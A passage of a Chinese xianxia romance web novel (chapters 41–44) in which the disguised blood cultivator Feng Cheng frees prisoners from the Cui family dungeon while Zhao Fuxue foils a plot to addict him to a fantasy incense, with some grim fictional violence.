赵负雪微笑着道:“崔家主诚意如此,我也不好留人,我身边这个,也一并出去吧。”魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 40-50 第41章 第41章为我软肋,为我后背 封澄心中登时一紧,她不由得拉住了赵负雪的衣袖,紧紧盯着他,轻微地摇了摇头。 人,的确要救,可一想到赵负雪要孤身对上这两个不怀好意的恶徒,封澄心中便一阵发紧。 赵负雪笑容不变,他另一只手轻微地拍了拍封澄,道:“出去罢,再拖,要误事了。” 话已至此,封澄心中明白,若是她再强留,便不是做侍从的本分了,保不齐要惹得这两只狐狸怀疑。 她深深地看了赵负雪一眼,随后果断转身,走向了百岁堂的大门。 封澄只听背后赵负雪笑道:“请。” 此时此刻,二人背向而行,眼中却不约而同地露出了深不见底的狠意。 封澄出门,几个掠身便直奔地牢而去,起落间,甚至连瓦片与枯枝也未惊动。 这般行走无声,几波巡卫便一无所知地过去了,封澄轻飘飘地落在了地牢大门前。 地牢的入口并不难寻,难的是如何进去,封澄悄悄地贴在墙边,四处一看,这地牢只有这一个大门,四四方方。 封澄定睛一琢磨,觉得这门三长两短,活生生就是个棺材模样。 守卫森严,封澄想了想,咬开手指,血作胭脂,往嘴上抹了一道,又拆乱梳成双环髻的长发,大致一揉,再将外裳的肩袖衣摆处撕了个大概。 这么远远一看,好端端一个乖巧侍从,霎时红唇滴血,墨发凌乱,袒胸露腹。 ——倒是很符合常人对血修的刻板印象。 她将身上煞气放出些来,随即一步三摇,摇曳生姿地向着地牢门口去了。 地牢的棺材门前守着四个守卫,四人远远见封澄走来,竟然大气不敢出,恭恭敬敬道:“大人。” 果然有用,封澄心中大喜,她走到地牢门口,抬抬手,半死不活道:“奉上面的意思,把崔家余孽带走。” 四人闻言,犹疑地交换了一下视线,为首那人壮着胆子道:“可方才才有人说,这几个人密谋逃狱,罪无可赦,理应加刑,您这会儿进去,人大概没剩几口气了,如何能带走?” 封澄心中一突,面上却还是不显,笑道:“这可是上面的意思,哪怕里面都是死人了,我也要带走的。” 四守卫还在犹豫,封澄却等不了这几人的犹豫了,她眼一压,煞气便蠢蠢欲动:“若是误了我交差的,不知诸位的浑身血肉,够不够替我赔罪?” 这一招果然有效,见血修獠牙,四守卫当即炸了毛,不约而同地后退了一步,只有为首那守卫还强撑着胆气,颤巍巍道:“那,那大人公事公办,自便即可。” 封澄满意地走进了地牢,一进去,却笑不出来了。 这地牢的通道极为狭窄阴暗,从门口到第二个路口,几乎是个直上直下的坡,其后斗折蛇行更是诡异,且无比昏暗——这一路只有墙角几只臭油灯还半死不活地亮着。 这种地方,无风又无光,都不用那几个血修用刑,常人待上几天便活不成了。 潮湿而发腥的臭气扑面而来,封澄避无可避,扶墙冷静了片刻,随即面不改色地拐了进去。 地牢的尽头是一排的牢房,封澄一踏进去,脚下便忽然碰到了什么,她面无表情地低头,在看清粘地上的东西时,胸口猛地一窒。 血修吃肉和喝血,并不是什么人都吃的,世人之中,修士最佳,修士之中,天生灵力蕴足者最佳,而灵力蕴足者中,又以年轻者为最佳。 年轻人之中,又有更年轻人为修行上品。 封澄的脚边摆着一只小小的头骨。 头骨旁,是已经被吮至发灰的小小骨殖。 大部分的骨骼已经被吮吸得松散了,封澄怔怔低下头去捡,手一触上去,那灰白的小肋骨便不堪重负地散成了数节。 她站起来,心中不住地往下沉,耳边却在此时传来一声苍老的讽笑:“来一个血修,便要咂摸几口,阿欢的骨髓都被吸干了,你们还不肯放过他。” 封澄不语,她沉默地走去声源地。 老者道:“来晚咯,一口都没喽!” 封澄这时才看清了他的全貌,老者衣衫褴褛,头发灰白稀疏,杂乱如野草,衣不蔽体,穿着又黑又脏的破衣,脸膛与袒露出来的、鲜血淋漓的皮肉都是发黑的古铜色,他的一只眼睛颜色灰白,似乎已是看不见了。 他张狂大笑,牢狱上空被他的声音震下碎石来:“小畜生,尝尝我这老骨头的滋味如何!” 说着,老者双目血红地扑到牢房的栏杆上,死死地盯着封澄,这眼神怨毒而愤怒,封澄毫不怀疑,如若没有这道玄铁所铸的栏杆拦着,这老头定然会将她活活撕碎。 封澄垂下眼睛,手指停在了牢房的大锁上。 牢间昏暗,遮拦了她骤然变形的手指。 只听应声一道脆响,封澄抬起手来,撒下了一手的齑粉。 “出来,”她道,“还有多少活着的人,你去一并带出来。” 老者的手骤然定住了,他目不转睛地盯着封澄指尖落下的漆黑粉末,难以置信地抬头看向她,目光中是并未消散的警惕:“三刻钟前,这锁头被添了第三重阵法,老头儿身上添了七十九刀——现在演这出戏,莫不是觉得我崔岩是蠢货!?” 封澄耐心耗尽,一把将铁门踹开,狠狠地抓住了他的衣领,咬牙切齿道:“这牢门松得和个饭盒一样,想吃你们还用这么麻烦!赶紧把人带出来,一刻钟也别耽误。” 这一通吼把崔岩吼得茫然了,封澄盯着他,默了默,又道:“崔霁去了赵家,安然无恙。” “老尊者已知悉此事,如不出我所料,赵家天机师此时已经候在崔府四周了,等负雪公子带着证据出来,崔家血修即可伏诛。” 崔岩愣愣地眨了眨眼睛,封澄不敢置信地看着他,一颗一颗硕大的泪珠从他混浊的眼中滚了下来。 他哽咽道:“我这就去救人,我这就去!” 封澄一把拉住他,道:“先别急,你知不知道你家符阵的阵眼在哪里?” 崔岩一怔,随即道:“百岁堂从左向右数,第七只金貔貅的右眼玛瑙。” 封澄记下,便随着他去开锁,不过片刻,地牢中的崔家人便拖家带口地站在了封澄面前,封澄打眼一扫,二十几人中没一个好皮好肉,不是断了胳膊便是断了腿,还有几个重伤不醒,被血淋淋扶着抱着的。 这群崔家人跟着她向地牢外冲去,很快便来到了地牢门口,门口四守卫见封澄身后跟着如此大一群崔家人,当即大惊失色道:“大人,这这这……这也太多了!” 封澄面无表情道:“上面大人的意思,你倒是插上嘴了。” 为首那人偷偷一瞄,只见这一群崔家人并未上任何枷锁,除了为首那个老头儿和一对 夫妻满脸不能作假的怒色,剩下人的脸上皆有抑制不住的喜色,当即心生疑窦,不动声色道:“大人,您若将这些人全带走,我们自然也是不必在这地牢前守着了,按说如此大事,本应有人来予我们调任,可小的几个并未收到任何消息。” 封澄眯了眯眼,知道这人是怀疑了。 她道:“我只一句话,上面命令,你自管向上面问去。” 守卫道:“不知姑娘说的这个上面,到底是何人?也好叫小的们有个问的去路。” 话已至此,几乎是将怀疑敲在了脸上,身后的崔家人皆不约而同地紧张起来,怀抱着孩子的紧紧搂住孩子,扶着伤员的更是额间沁出冷汗。 谁知封澄从腰间摸了摸,竟然捞出一块亮闪闪的腰牌来,她将腰牌丢给那守卫,不耐烦道:“那大人知晓此事要紧,连随身腰牌都给了我,若是出事,他担着。” 这守卫捧着腰牌,仔细端详,封澄身后的崔家人屏息凝神,连口大气也不敢出。 时间一分一秒,过得格外漫长,那守卫将腰牌翻过来覆过来地仔细研究,终于抬起了头。 在那一刹,崔家众人的心跳齐齐停跳了一拍,封澄的指尖缓缓地停在了她的手心。 守卫将腰牌还给封澄,恭恭敬敬道:“原来是乌言大人的手令,小的们秉公办事,误了大人时辰,还请两位大人见谅。” 封澄道:“不妨事,事出有因。” 走出许久远,崔岩才敢走上前来,道:“少侠果真胆大心细,若非少侠出手,我等今日定然死无葬身之地了。” 封澄道:“说早了,能不能活得成,还不一定。” 崔岩迟疑片刻,道:“请姑娘明示。” “现下,我们要到百岁堂去,与负雪公子会和,以及解开崔家的符阵。”封澄慢慢道,“一路上守卫不少,跟紧些。若是出了事,诸位全得交代在这儿。” 对于重伤之人来说,这个要求苛刻了些,封澄的将腰间隐匿符统统掏出来:“大概是不够,先给重伤者用上,以免动静太大惊了人。” 隐匿符可匿气息,却不匿形体,几个重伤者接过,强撑着地点了点头。 “稍微能动的,谨慎些。守卫大致换班的路数我已摸清了,只要不出动静,我一定能把诸位安全送到百岁堂。” 说到此处,有一声弱弱道:“可是姑娘,我们不应该往外逃吗?为何非要去百岁堂。” 众人闻此,皆小心翼翼地看向封澄。 封澄看了看百岁堂的方向,微微一笑。崔岩道:“不破了百岁堂中阵眼,外面的赵家人如何进来?难道要他们以身破阵,伤痕累累吗?” 众人讷讷不语,崔岩又道:“你们之中,有几个能站直了走路的?少侠若不带我们走,只遇到头一波守卫,我们便会被统统抓回地牢里!难道少侠辛苦救咱们出来,就是让咱们再回去的吗?” 封澄向着百岁堂的方向走去,心中想:“其实还有个最要紧的。” 她心底声音微不可查。 “百岁堂中有一人,为我软肋,为我后背。” 第42章 第42章有件事得纠正一下 赵负雪的鼻尖萦绕着似有似无的香气,这气味似有似无,欲拒还迎,仿佛蛇尾巴似的勾人。 崔庆讨好道:“公子上座。” 一股青烟已经从香炉中袅袅而升,香气溢出的刹那,齐遥与崔庆皆陶醉地眯了眯眼睛,赵负雪冷眼看着他们二人的丑态,不动声色道:“只有这种货色?” 崔庆闻言,惊喜无比地与崔庆交换了视线,似乎没想到事情竟能这么简单:“懂了,赵公子见多识广,瞧不上这些。” 赵氏谨慎,教出来的公子定然也会谨慎,崔庆并没有蠢到一开始便在殿中燃“长醉”,他深知,哪怕是赵负雪今日染上了长醉,赵家也一定会不择手段地替他戒掉这个瘾。 长醉并不是头一日出现在大夏,平常人成瘾难戒,可赵家那种地方,却很难说有没有另外的法门——万一周寻芳那狠女人当真舍得剜掉赵负雪一层皮呢?他这个引诱赵负雪成瘾的人又该如何自处? ——故而,今日燃香,他便是奔着让赵负雪戒不掉而去的。 屋中所燃香料并非长醉本香,而是齐遥所供给的,香味与长醉极为相似的“诱香”。 崔庆的嘴角微微一勾。 这才是他今日最大的杀招。 这诱香,平常燃着,半分用处也没有,只不过是味道香些,留时久些罢了。 可若是这诱香掺入长醉中,长醉的效力便会像脱了缰的野虎一般成千上百倍地发作出来。 崔庆微微一笑,一粒诱香,便能将一位刚正不阿的如玉君子烧成撒泼打滚、烂泥一样的瘾君子。 且今日他上的可是市面上都少见的纯货,再加上这难得一见的诱香,哪怕是神仙来,今日也定然成瘾! 赵负雪见识过长醉、心有提防又如何?他猜得到长醉,他猜得到诱香吗? 想到这里,崔庆越发兴奋起来,他忍不住开始期待赵负雪成瘾难耐的模样了。 “我亲自来给赵公子取些纯货来!” 赵负雪只抱着剑,静静地等着。 崔庆乐颠颠地去取所谓的纯货了,此时大堂上便只剩了齐遥与赵负雪,齐遥的身体已被这长醉催出了惯性,他一把甩下大氅,眼睛不知何时已经兴奋地盯上了赵负雪 少年一身清风,站立如松,浑身都是令人难以忘怀的少年意气,他往这乌沉沉的百岁堂一站,便如同一湾漆黑粘稠的污水里,骤然钻入了一条清凌凌的银鱼一样。 干净得吓人,傲气得骇人。 可很快,这尾银鱼就要腐烂腥臭,与烂泥水乳交融、难舍难分了。 齐遥心痒难耐地凑过来,绕着他转了转,粘腻道:“公子比我从前见到时,更俊秀了些。” 赵负雪冷冷拔剑:“站远。” 齐遥没想到他还能站稳拔剑,被他这一剑骇了一跳,当即讪讪地后退了一步,他道:“哎,赵公子,不要这么见外,您贵人多忘事,自不记得我,我可记您记了多少年呢。” 说这话时,他的视线几乎能有实质,死死地黏在了赵负雪的脸上,令赵负雪分外恶心。 从这人口中得出的这句话,于赵负雪而言,无异于一条毒蛇吐着信子爬过来。 被血修偷偷地记住许多年,当真是想想就后背发寒。 赵负雪居高临下地看着他,又冷又傲的俊脸上是毫不掩饰的讽刺:“被赵家打出去的血修不知多少,若要我一个一个记着,那可真是恶心都恶心不够。” 齐遥阴森森地盯着他,半晌,突然道:“恶心?很快,你就不会觉得我恶心了。” 赵负雪连一个眼神也不给他。 齐遥噎了片刻,焦躁地踱了两步,又道:“你有没有觉得身上有些热?或者心口有些紧?” 这时候也该生效了。 说着,他便又不死心地向赵负雪凑过去,谁知还未凑近,门外便传来一声:“齐大人!” 齐遥被打断,深深地看了赵负雪一眼,转身怒道:“不长眼的东西,谁让你这时候过来的!?” 赵负雪看去,只见一人跪在百岁堂前,恭恭敬敬道:“实是有要事禀报。” 那人站在长醉的香气中,岿然不动,想必早已是身经数战的老手了,他跪地道:“乌言大人有两件事要禀报,第一件是崔霁疑似逃进赵家了,咱们的人进不去,请齐大人寻个说得上话的崔家人来。” 齐 遥不耐烦道:“废物一个,抓个半疯的小子都抓不着——我知道了,还有什么事?” 那人沉默片刻,才敢开口道:“大人在追查崔霁途中,碰上了一个血修。” 齐遥挥袖转身,漠不关心道:“这有什么稀奇的,叫他自己跪上来拜会,难道还要我去请他!” 赵负雪眼神微动。 那人支支吾吾:“这……这……” 齐遥:“怎么?” “小的冒犯……听乌言大人说,那血修的来头恐怕不小。” 齐遥不傻,自然能听得出来此人的弦外之音——话里话外,倒是他应该去拜会那位血修! 他气得要笑了,道:“废物,灭自家志气,长他人威风,天下岂有你这样给人当下属的,扣着自己老大给人磕头。” 那人当即闭嘴了。 他也委屈,在血修之道中,哪有什么老大不老大?无非是拳头硬的和拳头没那么硬的。 若是得罪了乌言口中的上古大修,他觉得还是死在自己老大的手下比较划算。 血修的煞气,可全都是实打实的人命啊! 齐遥慢慢道:“你说说,那血修长什么样?” 他心中仍有一份顾忌,近日那几个老东西活动也频繁,若是有正好晃到洛京的,也说不定了。 “是……是个年轻女人,穿一身鹅黄外裳,行走如风,身量略高,手里拿着一杆长枪……” 只这么说着,齐遥便烦了:“哪里来的无名鼠辈!!” 他总觉得这个描述诡异地熟悉,细细一想,似乎不久前在哪里见过一个眼睛很大的、行走如风的人。 下属不敢多言,诺诺一声,便要退下,倏然齐遥回过头来,又道:“崔老狗取个东西,半日不回来,你顺路去后面看看,他莫不是自个儿偷吃上了!” 话音未落,便有一道女声笑道:“不必寻了,我将人带到了。” 这声音在黑压压的大堂中显得分外清晰,就连堂中弥漫着的粘稠香气都被冲去了些。 崔家何时有这样一个人?齐遥的眼睛眯着看过去,只见一人背光而来,左手拖着一个肥胖瘫软的身影,右手一杆长棍,齐遥正疑惑这长棍是什么意思,却见她抬手一甩,亮出了枪尖。 齐遥猛地瞪大了眼睛——他知道这描述哪里熟悉了! 跟着赵负雪走进来的那个不声不响的侍从,可不就是一身鹅黄外裳吗! 那下属一见那长枪,当即连滚带爬地跑到了齐遥的身后,失声道:“大人,是她,是她!” 齐遥猛地睁大了眼睛,他不由自主地看向了赵负雪——可她是跟着赵负雪进来的! 他赵负雪从小到大,不知多少血修想要他的命,不知多少血修想把他的血肉一口口咂摸了个干净。 可此时此刻,他竟容许一个血修站在他身边?! 齐遥看了赵负雪,又看了看封澄,又难以置信地盯向了赵负雪。 随即,他看到赵负雪那副永远的都是冷冰冰的、不是杀意就是寒意的眼睛里,露出了些微不可察的笑意。 那笑意如星点似的,转瞬即逝,却夺目无比。 齐遥的心底陡然起了莫名的怒意,他危险地眯了眯眼睛,终于将视线分分给了封澄。 一个年轻的血修。 齐遥目不转睛地盯着她,心中慢慢升起了一股难以置信的感觉。 难道说,整个血修界使尽了各种手段,仍然吃不到的赵负雪,就这么被一个名不见经传的小丫头给勾走了? 她浑身上下看起来并没有丝毫的异常之处,长得不错,可绝对没不错到能让赵负雪神魂颠倒的程度,修为不错,可想必也不会强到能逼迫赵负雪屈服于她。 论财?论权? 对第一天机世家的公子以此相诱,就如同给皇帝送龙袍,纯粹多余。 她到底是怎么钻到赵负雪身边去的?难道是她藏得特别好,令赵负雪看不出她是血修? 对,齐遥这么想着——此时此刻,只有这一个解释了。 赵负雪走到了封澄身边,低头,眉眼含笑:“如何,可还顺利?” 她将崔庆随意地一甩,目光便在大堂中梭巡,视线有意无意地落在了堂前的那两排金貔貅上:“顺利是顺利了,恶心也的确恶心了。” 崔庆哆哆嗦嗦地滚在地上,怀中抱着的长醉香撒了一地,他道:“你,你是什么人!” 封澄居高临下道:“来送你上路的人。崔家主,你崔家地牢地下,可是热闹得很啊?” 地牢? 崔庆终于反应过来了,他当即指着封赵二人,浆糊一般的脑子终于反应过来了;“你们两个,是合起伙来骗我的!你们是崔霁拉来的救兵!” 他顿了顿,难以置信道:“你一个血修,怎么和赵家搅合在一起,管血修的闲事?” 赵负雪忽然一笑:“有件事得纠正一下。” “她是和我搅合在一起。” “和赵家没关系。” 第43章 第43章无师自通的小师尊 赵负雪这句没头没脑的话令整个大堂沉默了一下。 他的视线若有若无地飘向封澄,封澄却没注意到赵负雪方才说了些什么,她聚精会神地盯着堂前金貔貅,小声道:“你们家的人安排好了吗?” 赵负雪闻言,有些哑,片刻,挫败道:“方才你我来时,赵家之众便已然包围了崔府。” 封澄有些讶异,旋即点了点头,道:“既然如此,今夜这事便简单了,你我开了阵法,把这血修押出去便是了。” 她这句话并没有刻意地压低声音,饶是被长醉熏得昏沉,齐遥还是忍不住冷笑起来:“好大的口气。” 崔庆却急了,伸直了脖子道:“你赵家与崔家皆为世家,怎能率众围我府邸!、崔家家事,岂轮得到赵家来处置!” 不料赵负雪却好像听到了什么天大的笑话一样:“事到如今,你倒和我说这是你崔家家事?” 他走到香炉旁,信手打开香炉盖,忽然便笑了:“你意图引诱赵家公子用香成瘾,总不是你崔家家事吧?” 此言一出,崔庆便软倒在地:“……你知道?” 旋即,他怒吼道:“你知道,你还是进来了!你故意的!” 崔庆的脸上青一阵白一阵,他死死地盯着赵负雪,似乎不敢相信,赵负雪竟然默不作声地铸了这么大一口黑锅,悄然无声地就扣到他头上了! 引诱赵家公子用香成瘾,他都不敢想,若是叫周寻芳得知了此事,崔家上下能不能有一条活命! 他是这么想了,可看赵负雪这副云淡风轻的样子——显然是没做到的! 怎会如此?不是说赵家公子光风霁月,行事最为磊落,哪怕是江湖之上,众人也要赞一声侠义之人的吗? 他这般行事,鲁莽又大胆,难道他就不怕真的用香成瘾,戒也戒不掉吗? 这真是他熟知的、赵负雪的作风吗? 不,崔庆缓慢地眨了眨眼,终于发现了今晚的不对之处——若是他从前认得的那个赵负雪,今日连出现在崔府都不会。 什么崔霁的死活,什么崔家的死活,在这负雪公子眼底,统统是脚下泥尘! 莫说以身涉险跑来崔府管这件闲事了,崔霁死在他眼前,他都不会多分过一个视线来的。 赵家公子之无心薄情,他前几年便有所领教了。 江湖几年游历,竟把这清雅公子养成了一个多管闲事的狐狸。 赵负雪笑而不语,他看着封澄,认真道:“在京城,自然不能用江湖上的手段,将崔庆一剑捅了倒是简单事,只是崔家这一窝毒蛇,可就难清理了。” 封澄很给面子地点了点头。 崔庆打断道:“可那长醉……你绝无可能,绝无可能……” 赵负雪瞥了他一眼,良久,才道:“这香对我没用,从来都没用。” “即便是作恶,也是做不明白,做蠢货做到崔家主这个份上,到底还有什么意思。” 听闻这句话,崔庆终于两眼发直,颓然地跪倒在地。 琢磨来琢磨去,连压箱底的好货都拿出来了,独独没有算到,长醉对赵负雪没用。 他狠狠咬牙——诱香能千百倍地放大长醉的效果又如何? 长醉是零,千百倍了也是零! 齐遥目不转睛地将封赵二人的 一举一动收归眼底,他并没有放过赵负雪面对封澄时细微的神情变动。 他惊骇无比地发现,雪人儿一样薄情冷淡的赵负雪,在面对那来路不明的血修时,露出了几乎能称之为鲜活的情绪。 喜,忧,期待,沮丧。 桩桩件件,旁人做了不奇怪,可做这些事的是赵负雪,这些事情便诡异到了一种连血修都接受不了的程度了。 这些情绪他也见到过,平常凡人家男子对上家中妻子、情窦初开的少年碰上心爱女子时,通常都是这副模样。 如此模样的男子意味着什么? 意味着那血修可对他恣意驱使,任意挑逗了! 别说咬他一口肉,喝他一口血,齐遥甚至觉得,哪怕那血修要赵负雪抽出一根骨头来给她,他都会毫不犹豫地照做。 越想,齐遥的牙就越痒,他盯着封澄的目光几乎要喷出火来。 她怎么能!她怎么敢! 整个血修界垂涎数年的赵负雪,就这么成了她的囊中之物了? 封澄总觉得背后寒毛直立,有种被什么东西盯上的感觉,她将目光梭巡片刻,准确地锁定了站在对面的血修。 这血修死死地盯着她,目光几乎能喷火,好像她与他有什么血海深仇一样。 这人谁?她从前认识吗? 封澄正奇怪着,那血修却陡然一甩手,掌心中霎时多了一条链刃,封澄心道一声不对,抬枪顶上。 这种软绵绵的兵器从来都是封澄最不愿处理的,正面交锋不得,阴招倒是不少,稍有不慎,连兵器也要被这链刃卷走。 不过血修倒没有武器脱手的顾及——长枪本就为她自身鲜血所化,旁人绞走,不过是绞了一汪血。 她对赵负雪道:“从左往右数,第七只貔貅的右眼玛瑙。” 虽不知他为何骤然发难,封澄还是提枪上了。 双方都是修炼有成的血修,煞气翻腾,可只一击,两面便试出了对面的深浅。 齐遥的一张脸已然惨白,他的手轻微地发抖,几乎要握不住手中的链刃。 怎么会,怎么会? 此时此刻,他看着封澄的眼神,与见了活鬼没有任何区别。 她压过来的枪,她身上翻腾的煞气,她身后站着的厉鬼亡魂。 都在这同一时刻,存在感异常鲜明地喧嚣着。 齐遥在这刹那,几乎瞪圆了眼眶,他艰难道:“什么人……你是,什么人……!” 封澄道:“送你去见阎王的人。” 封澄灵气煞气都极为了得,体术也了得,几个来回,齐遥这常年泡在毒香的虚身子便顶不住了,偏生此刻,外面传来数道破空之声,齐遥面如死灰地抬起眼来,只见周寻芳立在对面屋脊上,居高临下,身边数个白衣人依次落下,腰间剑光无比熟悉,且整齐划一。 那周寻芳的身边还站着一个穿黄褂子的人,即便是齐遥看不懂,崔庆也看懂了。 他难以置信——就这么短短一会儿,赵家不光纠集了人来,还把宫里的人也请来了! 与此同时,院子中又不知从何冒出了一些破衣烂衫、血迹斑斑的人来,崔庆定睛一看,险些当场昏过去。 谁把地牢里的崔家人放出来了! 为首那老头他最为熟悉,当日迎齐遥进府,这崔岩便是反抗得最为激烈的! 这光棍老头,一无妻儿,二无父母,威逼利诱皆不作效,齐遥将他扣在地牢中,日日取血剖肉折磨,折磨了半年有余,这老头仍吊着一口气不肯死。 崔岩膝行几步跪下去,大哭道:“还请老尊者为我们做主啊!” 崔庆指着他,你你你了半日,周寻芳冷眼不语,封澄将齐遥拧出来,反手摔在众人前,正要回头去看赵负雪,不料赵负雪陡然脸一白,随即腿一软,眼看着就要倒下去。 封澄吓了一跳,当即什么也不管不顾了,一个箭步冲上去就扶他,赵负雪比封澄高出许多,也宽上许多,可这一着,他几乎柔弱地倒在封澄怀中,封澄霎时脑子便空了。 方才还好好的,为何这么一会儿,便突然倒了? 封澄心乱如麻,陡然又觉得肩上之人的身体骤然滚烫了的起来,她连忙道:“老尊者,赵公子出事了!” 周寻芳的眼睛扫了赵负雪一眼,当即嘴角有些抽搐。 她的脸向来是严厉无比的,此时此刻,身边人却在她脸上看到了一股类似于无可奈何的情绪。 周寻芳不忍直视道:“下去,看伤。” 话音方出,身边穿着黄褂子的人便拦住了她,他面色沉重,盯着赵负雪的脸似乎有所迟疑:“老尊者且慢,我瞧着公子这样子,倒不像是伤啊病啊什么的。” 周寻芳的脸上露出了一道恰好的疑惑:“怎么?” 黄褂子道:“这样,我来为公子看诊。” 崔庆在下面面如死灰,看着周寻芳与身旁姓姜的一唱一和。 演,就能演,真是能演! 从老到小,从里到外,统统该滚去那戏班子里唱戏! 那赵负雪方才亲口承认了长醉对他无用,现在摆出一副用香成瘾的样子给谁看! 崔庆由且悲愤不绝,一旁的齐遥却是脸黑似锅底。 旁人看不出来,他看得出来,就方才封澄转身那一瞬,赵负雪不动声色地捏了身上几处穴道,随即当着她的面,脸色变白,又突然变红,最后顺理成章地倒在她身上。 如此流畅,堪称行云流水,一气呵成。 齐遥气得心底大骂——赵负雪这做派,和他第四十九房姬妾讨宠时有什么区别!俩人连倒下的幅度都一模一样! 他一介大家公子,是如何学会这起做派的! 齐遥的目光又落在了一旁的封澄身上,只一眼,他又噎住了。 她的脸上是如假包换的焦急与茫然,那黄褂子下来把脉这会儿,她恨不得钻上去替了赵负雪了。 齐遥忽然便有些怜悯了。 ——他能看清姬妾的伎俩,并且乐在其中。 可这年轻的小血修,显然是被赵负雪糊弄跑了,还在这忧心忡忡呢。 他忽然便感觉赵负雪这做派合理了。 究其根本,一个愿打一个愿挨,无师自通,不过如此。 第44章 第44章少女的躯壳下,栖息着万…… 崔府上下一片寂静,连重些的呼吸声都不闻,众人屏息凝神,等待着那黄褂子宣告赵负雪的伤势。 那人摸着下巴,沉默片刻,支支吾吾道:“老尊者!公子似乎并非外伤,而是……” 周寻芳面色淡淡:“不必吞吞吐吐,直接说了罢。” 黄褂子道:“是,小老儿学道不精,这么看上去,公子像是用了香……” 用香,这已经是足够委婉的说法,在场的众人皆是见过世面的,此时看赵负雪的样子,哪里会不知道这个“香”是什么香? 赵负雪的头埋在封澄肩上,软绵绵的,是被折磨狠了的模样。 崔家的死寂,比子夜更寂。 崔岩率众,跪地磕头,涕泪不绝道;“老尊者,姜大人,崔家血修作乱多日,上私卖毒香敛财无数,下屠戮无辜修行禁术,请老尊者去地牢看看,那血肉还未干啊!” 众人的目光小心翼翼地、不约而同地,移向了立于崔家最高处的那个女人。 崔家立家为财,故整片崔府大宅中,立了一只巨大的貔貅。 那貔貅足足有一个百岁堂高,周身皆以金片贴成,金光灿灿,宝光璀璨。 忽然,众人的耳中闪过一道惊天动地的霹雳之声! 这声如同山崩于面前,离那貔貅近些的人,竟然被这道轰鸣震得晕倒在地,这道雷声仿佛一圈圈的水波一样震散开来,远远处数座民宅接二连三地亮了灯,空无一人的街道里也陆续有人持灯出来探头探脑。 那原本坐着一只硕大貔貅的地方,已然便成了骇人的天坑。 周寻芳冷冷道:“崔家血修,不留活口,其余 之人,押走。” 赵家众修士森然拔剑,只听剑啸,不闻人声。 洛京七月十六,夜,天雷降世,横天霹雳,是为洛京震悚。 有路人传言,说是七月十六那日,崔家的门槛漫成了红色。 七月十七日,是赵负雪昏睡过去的第二日。 封澄从门口侍从的手中接过汤药,抬脚推开了赵负雪的房门。 他的屋子简洁干净,摆设不多,花样也少,看着简朴又干净,唯有屋中燃着的袅袅香气一粒千金,是常人难得一见的宝物。 侍从恭敬道:“公子怕药味熏着了姑娘,特命人换了这味香,想是姑娘喜欢。” 封澄不做声地关上了门。 她垂眸盯着手中药碗,后背倚在门上,半晌,无力地捏了捏鼻根,反手把药放在了门口花案上。 、 赵负雪用药的时候,从不燃香,他鼻子挑剔得很,知道药气混着花香是很难闻的。 封澄走进内室,只见赵负雪躺在床上,微微闭着双眼,雪白安静地躺在榻上,许是听到了封澄的动静,他困难地睁开了眼睛,虚弱道:“你来了?” 她应了一声,熟练地走到窗前花案下,拖了一只软凳出来,赵负雪很注意地看着,眼睛微微眯了一眯。 封澄坐到赵负雪面前,面无表情道:“听说你不肯喝药,闭门不出?” 赵负雪点点头,又摇了摇头,就要坐起来:“我本就没病,喝药做什么,这几日闭门不出也只是演给外人看——谁去惊动你了?” 赵家上下严密如铁桶,若无赵负雪授意,谁敢把这消息捅到她的耳边? 封澄发现自己越发看不懂面前这个小师尊了,于是不动声色地看着他演。 他身上月白的寝衣随着他坐起身的动作而有些滑下,赵负雪却浑然不觉似的:“只是昨日那一番动作,勾起了在古安的旧伤,祖母令我闭关,也借此养一养了。” 古安那男鬼始终是她心口的一道刺。封澄本存的看好戏之心登时烟消云散了。 她有些焦急地上来,抬手便要扯开赵负雪的胸口。不料还未扯出那道狰狞的伤口,这番动作倒是把赵负雪给吓得有些脸红了,他一把抓住封澄的手,呼吸略有急促道:“你……你先等等。” 她抬起眼来,才察觉到这个动作的微妙之处。 孤男寡女,共处一室,一个靠在榻上衣服半敞敞,另一个一半身子都压了过去,还扒着人家胸口不撒手。 好一副登徒子登堂入室的模样。 不过此时若是真退了,反倒是坐实了登徒子的名号,封澄不管不顾地上去:“等什么等,我又不是做什么伤天害理的事,看个伤难道还要等你排个黄道吉日吗?” 赵负雪果然挂不住他的衣服了,月白衣襟被封澄毫不留情地扯到一旁去,赵负雪略有无奈地倚在床头,露出了胸前那道隐隐渗血的伤口。 即便是知道赵家人极为强悍的生命力,即便是知道这道穿胸之伤对赵负雪算不了什么,封澄的心还是揪紧了。 她不由自主地伸手抚上去,检查道:“还好,不严重。” 她的呼吸打着圈儿,轻轻地扑在他的胸口。 赵负雪垂眸看着伏在胸口的封澄,心中忽然便失了智。 “她知道自己在做什么吗?她不知道我的心意吗?”赵负雪心中不知为何升起了莫名的怒意,“她是没有半点儿警觉之心吗?” 这道伤却将封澄的记忆唤出来了。 她微微垂下眼睛。 这伤口毫无疑问,就是见素的剑痕,封澄一再确认——她不会认错赵负雪的剑。 那么这事情便奇怪了,赵负雪被那男鬼所伤,结果伤口却是他自己的佩剑。 可赵负雪被她拉出来时,手上明明握着见素,事发突然,那男鬼也不会好心到捅了他一剑,再把配剑还他。 这么一想,竟然只有一个解释了。 男鬼也有一把见素。 一想起那世上罕有的悍然灵力,封澄的心底贸然而起了一个绝不美妙的猜测。 这猜测自打从古安回来,便被她强行抑在心底,绝不肯多想一丝。 时至如今,也是这样。 她垂眸,指尖轻柔地落在伤口上,不动声色道:“这剑上有寒气,你伤口不愈,或许是这寒气的缘故,养伤要慢慢养,不急在这一时。” 赵负雪被她摸得心乱如麻,竟没听出这句话的半点儿不对,见封澄收手,他也回神道:“崔家的事如何了?” 封澄敛眸,眼底情绪不见踪影。 “崔家地牢被打开了,粗粗一算,白骨八十余具,皆是修士。男女老幼、崔家内外都有。”封澄言简意赅道,“地牢地下还有个血池,齐遥的嘴撬不开,姜家用了重刑,也没从他口中得出那血池的用处。” 赵负雪皱眉:“那些长醉如何处置了?光凭齐遥一个小小血修,定然是调不了这么多长醉的,且诱香这东西古怪,不像是他能拿出来的东西——他背后定然有人。” 封澄摇摇头:“这些事情似乎并不向外透露,我无从得知,至于你说的诱香……” 她从腰间荷包里掏出了一只小小锦囊,打开,里面是一只锦盒,再打开,是几粒香饵。 “查过了,”封澄道,“是血修将人的骨头吮吸取用尽后,磨成粉,再添了些什么乱七八糟的东西所制的。” 二人沉默了。 封澄道:“你昏迷这两日,崔家已被崔岩接管——就是那天跪下去的老头,他将崔家地牢从头到尾挖开了,从此崔家,再无地牢这种东西。” 